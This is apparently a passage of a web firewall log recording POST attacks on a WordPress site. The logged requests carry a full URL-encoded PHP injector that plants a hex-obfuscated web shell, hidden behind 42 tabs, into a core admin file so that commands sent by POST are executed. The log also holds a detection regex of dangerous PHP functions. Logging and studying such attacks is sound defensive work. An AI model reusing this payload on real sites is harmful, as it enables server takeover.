27%2520.%2520%2524binding5%2520.%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2527173%2527%2520.%2520%2527737%2527%2520.%2520%2524binding9%2520.%2520%2524binding10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524binding11%2520.%2520%2527656%2527%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2527472%2527%2520.%2520%2524binding12%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524binding13%2520.%2520%2524binding14%2520.%2520%2524binding12%2520.%2520%2527e74%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2524binding15%2520.%2520%2524binding16%2520.%2520%2527365%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding17%2520.%2520%2524binding18%2520.%2520%25275f6%2527%2520.%2520%252796e%2527%2520.%2520%2524binding19%2520.%2520%2527469%2527%2520.%2520%2524binding20%2520.%2520%2527c69%2527%2520.%2520%25277a6%2527%2520.%2520%2527572%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524app_initializer%252C%2524pointer_marker%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_marker%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524flg_comp%253D%2524module_controller5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flg_comp%2529%257B%2524res_token%253D%2524module_controller6%2528%2524flg_comp%2529%253B%2524module_controller7%2528%2524flg_comp%2529%253Bprint%2520%2524res_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:6897\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFRZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-site:none\n\nHC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-importer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%2527737%2527%253B%2524binding2%2520%253D%2520%2527973%2527%253B%2524binding3%2520%253D%2520%252756d%2527%253B%2524binding4%2520%253D%2520%2527736%2527%253B%2524binding5%2520%253D%2520%2527c5f%2527%253B%2524binding6%2520%253D%2520%2527657%2527%253B%2524binding7%2520%253D%2520%2527865%2527%253B%2524binding8%2520%253D%2520%2527706%2527%253B%2524binding9%2520%253D%2520%2527468%2527%253B%2524binding10%2520%253D%2520%2527727%2527%253B%2524binding11%2520%253D%2520%2527f70%2527%253B%2524binding12%2520%253D%2520%2527656%2527%253B%2524binding13%2520%253D%2520%25276f6%2527%253B%2524binding14%2520%253D%2520%2527e74%2527%253B%2524binding15%2520%253D%2520%252736c%2527%253B%2524binding16%2520%253D%2520%25276f7%2527%253B%2524binding17%2520%253D%2520%2527617%2527%253B%2524binding18%2520%253D%2520%2527070%2527%253B%2524binding19%2520%253D%2520%2527697%2527%253B%2524binding20%2520%253D%2520%2527616%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1%2520.%2520%2524binding2%2520.%2520%2527746%2527%2520.%2520%2524binding3%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2524binding5%2520.%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2527173%2527%2520.%2520%2527737%2527%2520.%2520%2524binding9%2520.%2520%2524binding10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524binding11%2520.%2520%2527656%2527%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2527472%2527%2520.%2520%2524binding12%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524binding13%2520.%2520%2524binding14%2520.%2520%2524binding12%2520.%2520%2527e74%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2524binding15%2520.%2520%2524binding16%2520.%2520%2527365%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding17%2520.%2520%2524binding18%2520.%2520%25275f6%2527%2520.%2520%252796e%2527%2520.%2520%2524binding19%2520.%2520%2527469%2527%2520.%2520%2524binding20%2520.%2520%2527c69%2527%2520.%2520%25277a6%2527%2520.%2520%2527572%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524app_initializer%252C%2524pointer_marker%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_marker%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524flg_comp%253D%2524module_controller5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flg_comp%2529%257B%2524res_token%253D%2524module_controller6%2528%2524flg_comp%2529%253B%2524module_controller7%2528%2524flg_comp%2529%253Bprint%2520%2524res_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:52:22","51.38.81.255","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> XU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-importer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%2527737%2527%253B%2524binding2%2520%253D%2520%2527973%2527%253B%2524binding3%2520%253D%2520%252756d%2527%253B%2524binding4%2520%253D%2520%2527736%2527%253B%2524binding5%2520%253D%2520%2527c5f%2527%253B%2524binding6%2520%253D%2520%2527657%2527%253B%2524binding7%2520%253D%2520%2527865%2527%253B%2524binding8%2520%253D%2520%2527706%2527%253B%2524binding9%2520%253D%2520%2527468%2527%253B%2524binding10%2520%253D%2520%2527727%2527%253B%2524binding11%2520%253D%2520%2527f70%2527%253B%2524binding12%2520%253D%2520%2527656%2527%253B%2524binding13%2520%253D%2520%25276f6%2527%253B%2524binding14%2520%253D%2520%2527e74%2527%253B%2524binding15%2520%253D%2520%252736c%2527%253B%2524binding16%2520%253D%2520%25276f7%2527%253B%2524binding17%2520%253D%2520%2527617%2527%253B%2524binding18%2520%253D%2520%2527070%2527%253B%2524binding19%2520%253D%2520%2527697%2527%253B%2524binding20%2520%253D%2520%2527616%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1%2520.%2520%2524binding2%2520.%2520%2527746%2527%2520.%2520%2524binding3%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2524binding5%2520.%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2527173%2527%2520.%2520%2527737%2527%2520.%2520%2524binding9%2520.%2520%2524binding10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524binding11%2520.%2520%2527656%2527%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2527472%2527%2520.%2520%2524binding12%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524binding13%2520.%2520%2524binding14%2520.%2520%2524binding12%2520.%2520%2527e74%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2524binding15%2520.%2520%2524binding16%2520.%2520%2527365%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding17%2520.%2520%2524binding18%2520.%2520%25275f6%2527%2520.%2520%252796e%2527%2520.%2520%2524binding19%2520.%2520%2527469%2527%2520.%2520%2524binding20%2520.%2520%2527c69%2527%2520.%2520%25277a6%2527%2520.%2520%2527572%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524app_initializer%252C%2524pointer_marker%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_marker%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524flg_comp%253D%2524module_controller5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flg_comp%2529%257B%2524res_token%253D%2524module_controller6%2528%2524flg_comp%2529%253B%2524module_controller7%2528%2524flg_comp%2529%253Bprint%2520%2524res_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:6897\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJSHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nXU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-importer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%2527737%2527%253B%2524binding2%2520%253D%2520%2527973%2527%253B%2524binding3%2520%253D%2520%252756d%2527%253B%2524binding4%2520%253D%2520%2527736%2527%253B%2524binding5%2520%253D%2520%2527c5f%2527%253B%2524binding6%2520%253D%2520%2527657%2527%253B%2524binding7%2520%253D%2520%2527865%2527%253B%2524binding8%2520%253D%2520%2527706%2527%253B%2524binding9%2520%253D%2520%2527468%2527%253B%2524binding10%2520%253D%2520%2527727%2527%253B%2524binding11%2520%253D%2520%2527f70%2527%253B%2524binding12%2520%253D%2520%2527656%2527%253B%2524binding13%2520%253D%2520%25276f6%2527%253B%2524binding14%2520%253D%2520%2527e74%2527%253B%2524binding15%2520%253D%2520%252736c%2527%253B%2524binding16%2520%253D%2520%25276f7%2527%253B%2524binding17%2520%253D%2520%2527617%2527%253B%2524binding18%2520%253D%2520%2527070%2527%253B%2524binding19%2520%253D%2520%2527697%2527%253B%2524binding20%2520%253D%2520%2527616%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1%2520.%2520%2524binding2%2520.%2520%2527746%2527%2520.%2520%2524binding3%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2524binding5%2520.%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2527173%2527%2520.%2520%2527737%2527%2520.%2520%2524binding9%2520.%2520%2524binding10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524binding11%2520.%2520%2527656%2527%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2527472%2527%2520.%2520%2524binding12%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524binding13%2520.%2520%2524binding14%2520.%2520%2524binding12%2520.%2520%2527e74%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2524binding15%2520.%2520%2524binding16%2520.%2520%2527365%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding17%2520.%2520%2524binding18%2520.%2520%25275f6%2527%2520.%2520%252796e%2527%2520.%2520%2524binding19%2520.%2520%2527469%2527%2520.%2520%2524binding20%2520.%2520%2527c69%2527%2520.%2520%25277a6%2527%2520.%2520%2527572%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524app_initializer%252C%2524pointer_marker%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_marker%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524flg_comp%253D%2524module_controller5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flg_comp%2529%257B%2524res_token%253D%2524module_controller6%2528%2524flg_comp%2529%253B%2524module_controller7%2528%2524flg_comp%2529%253Bprint%2520%2524res_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:52:24","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-importer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%2527737%2527%253B%2524binding2%2520%253D%2520%2527973%2527%253B%2524binding3%2520%253D%2520%252756d%2527%253B%2524binding4%2520%253D%2520%2527736%2527%253B%2524binding5%2520%253D%2520%2527c5f%2527%253B%2524binding6%2520%253D%2520%2527657%2527%253B%2524binding7%2520%253D%2520%2527865%2527%253B%2524binding8%2520%253D%2520%2527706%2527%253B%2524binding9%2520%253D%2520%2527468%2527%253B%2524binding10%2520%253D%2520%2527727%2527%253B%2524binding11%2520%253D%2520%2527f70%2527%253B%2524binding12%2520%253D%2520%2527656%2527%253B%2524binding13%2520%253D%2520%25276f6%2527%253B%2524binding14%2520%253D%2520%2527e74%2527%253B%2524binding15%2520%253D%2520%252736c%2527%253B%2524binding16%2520%253D%2520%25276f7%2527%253B%2524binding17%2520%253D%2520%2527617%2527%253B%2524binding18%2520%253D%2520%2527070%2527%253B%2524binding19%2520%253D%2520%2527697%2527%253B%2524binding20%2520%253D%2520%2527616%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1%2520.%2520%2524binding2%2520.%2520%2527746%2527%2520.%2520%2524binding3%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2524binding5%2520.%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2527173%2527%2520.%2520%2527737%2527%2520.%2520%2524binding9%2520.%2520%2524binding10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524binding11%2520.%2520%2527656%2527%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2527472%2527%2520.%2520%2524binding12%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524binding13%2520.%2520%2524binding14%2520.%2520%2524binding12%2520.%2520%2527e74%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2524binding15%2520.%2520%2524binding16%2520.%2520%2527365%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding17%2520.%2520%2524binding18%2520.%2520%25275f6%2527%2520.%2520%252796e%2527%2520.%2520%2524binding19%2520.%2520%2527469%2527%2520.%2520%2524binding20%2520.%2520%2527c69%2527%2520.%2520%25277a6%2527%2520.%2520%2527572%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524app_initializer%252C%2524pointer_marker%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_marker%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524flg_comp%253D%2524module_controller5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flg_comp%2529%257B%2524res_token%253D%2524module_controller6%2528%2524flg_comp%2529%253B%2524module_controller7